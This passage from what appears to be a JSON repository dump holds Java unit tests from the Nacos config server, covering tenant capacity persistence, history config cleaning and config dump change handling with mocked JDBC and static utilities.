    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.impl.mysql.TenantCapacityMapperByMySql;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.stubbing.Answer;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\nclass TenantCapacityPersistServiceTest {\n    \n    @Mock\n    private JdbcTemplate jdbcTemplate;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    @Mock\n    private MapperManager mapperManager;\n    \n    @InjectMocks\n    private TenantCapacityPersistService service;\n    \n    @BeforeEach\n    void setUp() {\n        ReflectionTestUtils.setField(service, \"jdbcTemplate\", jdbcTemplate);\n        ReflectionTestUtils.setField(service, \"dataSourceService\", dataSourceService);\n        ReflectionTestUtils.setField(service, \"mapperManager\", mapperManager);\n        when(dataSourceService.getJdbcTemplate()).thenReturn(jdbcTemplate);\n        doReturn(new TenantCapacityMapperByMySql()).when(mapperManager).findMapper(any(), eq(TableConstant.TENANT_CAPACITY));\n    }\n    \n    @Test\n    void testGetTenantCapacity() {\n        \n        List<NamespaceCapacity> list = new ArrayList<>();\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"test\");\n        list.add(tenantCapacity);\n        \n        String tenantId = \"testId\";\n        when(jdbcTemplate.query(anyString(), any(RowMapper.class), eq(new Object[] {tenantId}))).thenReturn(list);\n        NamespaceCapacity ret = service.getTenantCapacity(tenantId);\n        \n        assertEquals(tenantCapacity.getNamespaceId(), ret.getNamespaceId());\n    }\n    \n    @Test\n    void testInsertTenantCapacity() {\n        \n        when(jdbcTemplate.update(anyString(), eq(\"test\"), eq(null), eq(null), eq(null), eq(null), eq(null), eq(null),\n                eq(\"test\"))).thenReturn(1);\n        \n        NamespaceCapacity capacity = new NamespaceCapacity();\n        capacity.setNamespaceId(\"test\");\n        assertTrue(service.insertTenantCapacity(capacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(\"test\"), eq(null), eq(null), eq(null), eq(null), eq(null), eq(null),\n                eq(\"test\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.insertTenantCapacity(capacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testIncrementUsageWithDefaultQuotaLimit() {\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        tenantCapacity.setGmtModified(timestamp);\n        tenantCapacity.setNamespaceId(\"test\");\n        tenantCapacity.setQuota(1);\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test\"), eq(1))).thenReturn(1);\n        \n        assertTrue(service.incrementUsageWithDefaultQuotaLimit(tenantCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test\"), eq(1))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsageWithDefaultQuotaLimit(tenantCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testIncrementUsageWithQuotaLimit() {\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        tenantCapacity.setGmtModified(timestamp);\n        tenantCapacity.setNamespaceId(\"test2\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test2\"))).thenReturn(1);\n        \n        assertTrue(service.incrementUsageWithQuotaLimit(tenantCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test2\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsageWithQuotaLimit(tenantCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testIncrementUsage() {\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        tenantCapacity.setGmtModified(timestamp);\n        tenantCapacity.setNamespaceId(\"test3\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test3\"))).thenReturn(1);\n        \n        assertTrue(service.incrementUsage(tenantCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test3\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.incrementUsage(tenantCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDecrementUsage() {\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        tenantCapacity.setGmtModified(timestamp);\n        tenantCapacity.setNamespaceId(\"test4\");\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test4\"))).thenReturn(1);\n        \n        assertTrue(service.decrementUsage(tenantCapacity));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(timestamp), eq(\"test4\"))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.decrementUsage(tenantCapacity);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testUpdateTenantCapacity() {\n        final MockedStatic<TimeUtils> timeUtilsMockedStatic = Mockito.mockStatic(TimeUtils.class);\n        \n        List<Object> argList = CollectionUtils.list();\n        \n        Integer quota = 1;\n        argList.add(quota);\n        \n        Integer maxSize = 2;\n        argList.add(maxSize);\n        \n        Integer maxAggrCount = 3;\n        argList.add(maxAggrCount);\n        \n        Integer maxAggrSize = 4;\n        argList.add(maxAggrSize);\n        \n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        timeUtilsMockedStatic.when(TimeUtils::getCurrentTime).thenReturn(timestamp);\n        argList.add(timestamp);\n        \n        String tenant = \"test\";\n        argList.add(tenant);\n        \n        when(jdbcTemplate.update(anyString(), any(Object.class))).thenAnswer((Answer<Integer>) invocationOnMock -> {\n            if (invocationOnMock.getArgument(1).equals(quota) && invocationOnMock.getArgument(2).equals(maxSize)\n                    && invocationOnMock.getArgument(3).equals(maxAggrCount) && invocationOnMock.getArgument(4).equals(maxAggrSize)\n                    && invocationOnMock.getArgument(5).equals(timestamp) && invocationOnMock.getArgument(6).equals(tenant)) {\n                return 1;\n            }\n            return 0;\n        });\n        assertTrue(service.updateTenantCapacity(tenant, quota, maxSize, maxAggrCount, maxAggrSize));\n        \n        timeUtilsMockedStatic.close();\n    }\n    \n    @Test\n    void testUpdateQuota() {\n        List<Object> argList = CollectionUtils.list();\n        \n        Integer quota = 2;\n        argList.add(quota);\n        \n        String tenant = \"test2\";\n        argList.add(tenant);\n        \n        when(jdbcTemplate.update(anyString(), any(Object.class))).thenAnswer((Answer<Integer>) invocationOnMock -> {\n            if (invocationOnMock.getArgument(1).equals(quota) && invocationOnMock.getArgument(3).equals(tenant)) {\n                return 1;\n            }\n            return 0;\n        });\n        assertTrue(service.updateQuota(tenant, quota));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), any(Object.class))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.updateQuota(tenant, quota);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testCorrectUsage() {\n        \n        String tenant = \"test\";\n        Timestamp timestamp = new Timestamp(System.currentTimeMillis());\n        \n        when(jdbcTemplate.update(anyString(), eq(tenant), eq(timestamp), eq(tenant))).thenReturn(1);\n        assertTrue(service.correctUsage(tenant, timestamp));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(anyString(), eq(tenant), eq(timestamp), eq(tenant))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.correctUsage(tenant, timestamp);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testGetCapacityList4CorrectUsage() {\n        \n        List<NamespaceCapacity> list = new ArrayList<>();\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"test\");\n        list.add(tenantCapacity);\n        long lastId = 1;\n        int pageSize = 1;\n        \n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId, pageSize}), any(RowMapper.class))).thenReturn(list);\n        List<NamespaceCapacity> ret = service.getCapacityList4CorrectUsage(lastId, pageSize);\n        \n        assertEquals(list.size(), ret.size());\n        assertEquals(tenantCapacity.getNamespaceId(), ret.get(0).getNamespaceId());\n        \n        //mock get connection fail\n        when(jdbcTemplate.query(anyString(), eq(new Object[] {lastId, pageSize}), any(RowMapper.class))).thenThrow(\n                new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.getCapacityList4CorrectUsage(lastId, pageSize);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testDeleteTenantCapacity() {\n        \n        when(jdbcTemplate.update(any(PreparedStatementCreator.class))).thenReturn(1);\n        assertTrue(service.deleteTenantCapacity(\"test\"));\n        \n        //mock get connection fail\n        when(jdbcTemplate.update(any(PreparedStatementCreator.class))).thenThrow(new CannotGetJdbcConnectionException(\"conn fail\"));\n        try {\n            service.deleteTenantCapacity(\"test\");\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"conn fail\", e.getMessage());\n        }\n    }\n    \n    @Test\n    void testTenantCapacityRowMapper() throws SQLException {\n        TenantCapacityPersistService.TenantCapacityRowMapper groupCapacityRowMapper = new TenantCapacityPersistService.TenantCapacityRowMapper();\n        ResultSet rs = Mockito.mock(ResultSet.class);\n        int quota = 12345;\n        Mockito.when(rs.getInt(eq(\"quota\"))).thenReturn(quota);\n        int usage = 1244;\n        Mockito.when(rs.getInt(eq(\"usage\"))).thenReturn(usage);\n        int maxSize = 123;\n        Mockito.when(rs.getInt(eq(\"max_size\"))).thenReturn(maxSize);\n        int maxAggrCount = 123;\n        Mockito.when(rs.getInt(eq(\"max_aggr_count\"))).thenReturn(maxAggrCount);\n        int maxAggrSize = 123;\n        Mockito.when(rs.getInt(eq(\"max_aggr_size\"))).thenReturn(maxAggrSize);\n        String tenant = \"testTeat\";\n        Mockito.when(rs.getString(eq(\"tenant_id\"))).thenReturn(tenant);\n        \n        NamespaceCapacity groupCapacity = groupCapacityRowMapper.mapRow(rs, 1);\n        assertEquals(quota, groupCapacity.getQuota().intValue());\n        assertEquals(usage, groupCapacity.getUsage().intValue());\n        assertEquals(maxSize, groupCapacity.getMaxSize().intValue());\n        assertEquals(maxAggrCount, groupCapacity.getMaxAggrCount().intValue());\n        assertEquals(maxAggrSize, groupCapacity.getMaxAggrSize().intValue());\n        assertEquals(tenant, groupCapacity.getNamespaceId());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DefaultHistoryConfigCleanerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.ApplicationUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport java.lang.reflect.Method;\nimport java.sql.Timestamp;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\n\n@ExtendWith(SpringExtension.class)\npublic class DefaultHistoryConfigCleanerTest {\n    \n    private DefaultHistoryConfigCleaner defaultHistoryConfigCleaner = new DefaultHistoryConfigCleaner();\n    \n    @Mock\n    private HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    MockedStatic<ApplicationUtils> applicationUtilsMockedStatic;\n    \n    MockedStatic<ConfigExecutor> configExecutorMocked;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    /**\n     * Sets up.\n     */\n    @BeforeEach\n    public void setUp() {\n        applicationUtilsMockedStatic = Mockito.mockStatic(ApplicationUtils.class);\n        applicationUtilsMockedStatic.when(() -> ApplicationUtils.getBean(HistoryConfigInfoPersistService.class))\n                .thenReturn(historyConfigInfoPersistService);\n        \n        configExecutorMocked = Mockito.mockStatic(ConfigExecutor.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n    }\n    \n    /**\n     * End.\n     */\n    @AfterEach\n    public void end() {\n        applicationUtilsMockedStatic.close();\n        configExecutorMocked.close();\n        envUtilMockedStatic.close();\n    }\n    \n    @Test\n    public void test() {\n        HistoryConfigCleaner configCleaner = HistoryConfigCleanerManager.getHistoryConfigCleaner(\"nacos\");\n        assertEquals(configCleaner.getName(), \"nacos\");\n    }\n    \n    @Test\n    public void testCleanHistoryConfig() throws Exception {\n        defaultHistoryConfigCleaner.cleanHistoryConfig();\n        Mockito.verify(historyConfigInfoPersistService, Mockito.times(1))\n                .removeConfigHistory(any(Timestamp.class), anyInt());\n    }\n    \n    @Test\n    public void testGetRetentionDays() throws Exception {\n        Method method = DefaultHistoryConfigCleaner.class.getDeclaredMethod(\"getRetentionDays\");\n        method.setAccessible(true);\n\n        Method setRetentionDaysMethod = PropertyUtil.class.getDeclaredMethod(\"setConfigRententionDays\");\n        setRetentionDaysMethod.setAccessible(true);\n\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.retention.days\")).thenReturn(\"-1\");\n        setRetentionDaysMethod.invoke(new PropertyUtil());\n        assertEquals((int) method.invoke(defaultHistoryConfigCleaner), 30);\n        \n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.retention.days\")).thenReturn(\"30\");\n        setRetentionDaysMethod.invoke(new PropertyUtil());\n        assertEquals((int) method.invoke(defaultHistoryConfigCleaner), 30);\n        \n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.retention.days\")).thenReturn(\"1\");\n        setRetentionDaysMethod.invoke(new PropertyUtil());\n        assertEquals((int) method.invoke(defaultHistoryConfigCleaner), 1);\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DumpChangeConfigWorkerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigRocksDbDiskService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.File;\nimport java.lang.reflect.Field;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DumpChangeConfigWorkerTest {\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DataSourceService dataSourceService;\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    DumpChangeConfigWorker dumpChangeConfigWorker;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void init() throws Exception {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(EnvUtil.getNacosHome()).thenReturn(System.getProperty(\"user.home\") + File.separator + \"tmp\");\n        when(EnvUtil.getProperty(eq(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG), eq(Boolean.class), eq(false))).thenReturn(false);\n        dynamicDataSourceMockedStatic.when(DynamicDataSource::getInstance).thenReturn(dynamicDataSource);\n        \n        Field[] declaredFields = ConfigDiskServiceFactory.class.getDeclaredFields();\n        for (Field filed : declaredFields) {\n            if (filed.getName().equals(\"configDiskService\")) {\n                filed.setAccessible(true);\n                filed.set(null, createDiskService());\n            }\n        }\n        \n        dumpChangeConfigWorker = new DumpChangeConfigWorker(configInfoPersistService, historyConfigInfoPersistService,\n                configMigrateService, new Timestamp(System.currentTimeMillis()));\n    }\n    \n    protected ConfigDiskService createDiskService() {\n        return new ConfigRocksDbDiskService();\n    }\n    \n    @AfterEach\n    void after() throws IllegalAccessException {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        ConfigDiskServiceFactory.getInstance().clearAll();\n        ConfigDiskServiceFactory.getInstance().clearAllGray();\n        \n        Field[] declaredFields = ConfigDiskServiceFactory.class.getDeclaredFields();\n        for (Field filed : declaredFields) {\n            if (filed.getName().equals(\"configDiskService\")) {\n                filed.setAccessible(true);\n                filed.set(null, null);\n            }\n        }\n    }\n    \n    @Test\n    void testDumpChangeIfOff() {\n        PropertyUtil.setDumpChangeOn(false);\n        dumpChangeConfigWorker.run();\n        Mockito.verify(historyConfigInfoPersistService, times(0)).findDeletedConfig(any(), anyLong(), anyInt(), any());\n    }\n    \n    @Test\n    void testDumpChangeOfDeleteConfigs() {\n        PropertyUtil.setDumpChangeOn(true);\n        dumpChangeConfigWorker.setPageSize(3);\n        //mock delete first page\n        List<ConfigInfoStateWrapper> firstPageDeleted = new ArrayList<>();\n        Timestamp startTime = dumpChangeConfigWorker.startTime;\n        String dataIdPrefix = \"d12345\";\n        \n        firstPageDeleted.add(createConfigInfoStateWrapper(dataIdPrefix, 1, startTime.getTime() + 1));\n        firstPageDeleted.add(createConfigInfoStateWrapper(dataIdPrefix, 2, startTime.getTime() + 2));\n        firstPageDeleted.add(createConfigInfoStateWrapper(dataIdPrefix, 3, startTime.getTime() + 3));\n        //pre set cache for id1\n        preSetCache(dataIdPrefix, 1, System.currentTimeMillis());\n        assertEquals(\"encrykey\" + 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getEncryptedDataKey());\n        Mockito.when(historyConfigInfoPersistService.findDeletedConfig(eq(startTime), eq(0L), eq(3), eq(\"formal\"))).thenReturn(firstPageDeleted);\n        //mock delete config query is null\n        Mockito.when(configInfoPersistService.findConfigInfoState(eq(dataIdPrefix + 1), eq(\"group\" + 1), eq(\"tenant\" + 1)))\n                .thenReturn(null);\n        Mockito.when(configInfoPersistService.findConfigInfoState(eq(dataIdPrefix + 2), eq(\"group\" + 2), eq(\"tenant\" + 2)))\n                .thenReturn(null);\n        dumpChangeConfigWorker.run();\n        \n        //expect delete page return pagesize and will select second page\n        Mockito.verify(historyConfigInfoPersistService, times(1)).findDeletedConfig(eq(startTime), eq(3L), eq(3), eq(\"formal\"));\n        //expect cache to be cleared.\n        assertNull(ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)));\n    }\n    \n    @Test\n    void testDumpChangeOfChangedConfigsNewTimestampOverride() {\n        PropertyUtil.setDumpChangeOn(true);\n        dumpChangeConfigWorker.setPageSize(3);\n        //mock delete first page\n        \n        Timestamp startTime = dumpChangeConfigWorker.startTime;\n        String dataIdPrefix = \"dataId6789087\";\n        //pre set cache for id1 with old timestamp\n        preSetCache(dataIdPrefix, 1, startTime.getTime() - 1);\n        \n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        List<ConfigInfoStateWrapper> firstChanged = new ArrayList<>();\n        firstChanged.add(createConfigInfoStateWrapper(dataIdPrefix, 1, startTime.getTime() + 1));\n        \n        Mockito.when(configInfoPersistService.findChangeConfig(eq(startTime), eq(0L), eq(3))).thenReturn(firstChanged);\n        \n        //mock change config query obj\n        //1 timestamp-new&content-new\n        ConfigInfoWrapper configInfoWrapperNewForId1 = createConfigInfoWrapper(dataIdPrefix, 1, startTime.getTime() + 2);\n        configInfoWrapperNewForId1.setContent(\"content\" + System.currentTimeMillis());\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataIdPrefix + 1), eq(\"group\" + 1), eq(\"tenant\" + 1)))\n                .thenReturn(configInfoWrapperNewForId1);\n        \n        dumpChangeConfigWorker.run();\n        \n        //expect cache to be cleared.\n        assertEquals(startTime.getTime() + 2,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        assertEquals(MD5Utils.md5Hex(configInfoWrapperNewForId1.getContent(), \"UTF-8\"),\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getMd5());\n    }\n    \n    @Test\n    void testDumpChangeOfChangedConfigsNewTimestampEqualMd5() {\n        PropertyUtil.setDumpChangeOn(true);\n        dumpChangeConfigWorker.setPageSize(3);\n        //mock delete first page\n        \n        Timestamp startTime = dumpChangeConfigWorker.startTime;\n        String dataIdPrefix = \"dataIdnewtimestamp\";\n        //pre set cache for id1 with old timestamp\n        preSetCache(dataIdPrefix, 1, startTime.getTime() - 1);\n        \n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        List<ConfigInfoStateWrapper> firstChanged = new ArrayList<>();\n        firstChanged.add(createConfigInfoStateWrapper(dataIdPrefix, 1, startTime.getTime() + 1));\n        \n        Mockito.when(configInfoPersistService.findChangeConfig(eq(startTime), eq(0L), eq(3))).thenReturn(firstChanged);\n        \n        //mock change config query obj\n        //1 timestamp-new&content-old\n        ConfigInfoWrapper configInfoWrapperNewForId1 = createConfigInfoWrapper(dataIdPrefix, 1, startTime.getTime() + 2);\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataIdPrefix + 1), eq(\"group\" + 1), eq(\"tenant\" + 1)))\n                .thenReturn(configInfoWrapperNewForId1);\n        \n        dumpChangeConfigWorker.run();\n        \n        //expect cache\n        assertEquals(startTime.getTime() + 2,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        assertEquals(MD5Utils.md5Hex(configInfoWrapperNewForId1.getContent(), \"UTF-8\"),\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getMd5());\n        \n    }\n    \n    @Test\n    void testDumpChangeOfChangedConfigsOldTimestamp() {\n        PropertyUtil.setDumpChangeOn(true);\n        dumpChangeConfigWorker.setPageSize(3);\n        //mock delete first page\n        \n        Timestamp startTime = dumpChangeConfigWorker.startTime;\n        String dataIdPrefix = \"dataIdOldTimestamp\";\n        \n        //pre set cache for id1 with old timestamp\n        preSetCache(dataIdPrefix, 1, startTime.getTime() - 1);\n        \n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        List<ConfigInfoStateWrapper> firstChanged = new ArrayList<>();\n        firstChanged.add(createConfigInfoStateWrapper(dataIdPrefix, 1, startTime.getTime() - 2));\n        \n        Mockito.when(configInfoPersistService.findChangeConfig(eq(startTime), eq(0L), eq(3))).thenReturn(firstChanged);\n        \n        //mock change config query obj\n        //1 timestamp-new&content-new\n        ConfigInfoWrapper configInfoWrapperNewForId1 = createConfigInfoWrapper(dataIdPrefix, 1, startTime.getTime() - 2);\n        configInfoWrapperNewForId1.setContent(\"content\" + System.currentTimeMillis());\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataIdPrefix + 1), eq(\"group\" + 1), eq(\"tenant\" + 1)))\n                .thenReturn(configInfoWrapperNewForId1);\n        \n        dumpChangeConfigWorker.run();\n        \n        //expect cache to be cleared.\n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        assertEquals(MD5Utils.md5Hex(\"content\" + 1, \"UTF-8\"),\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" 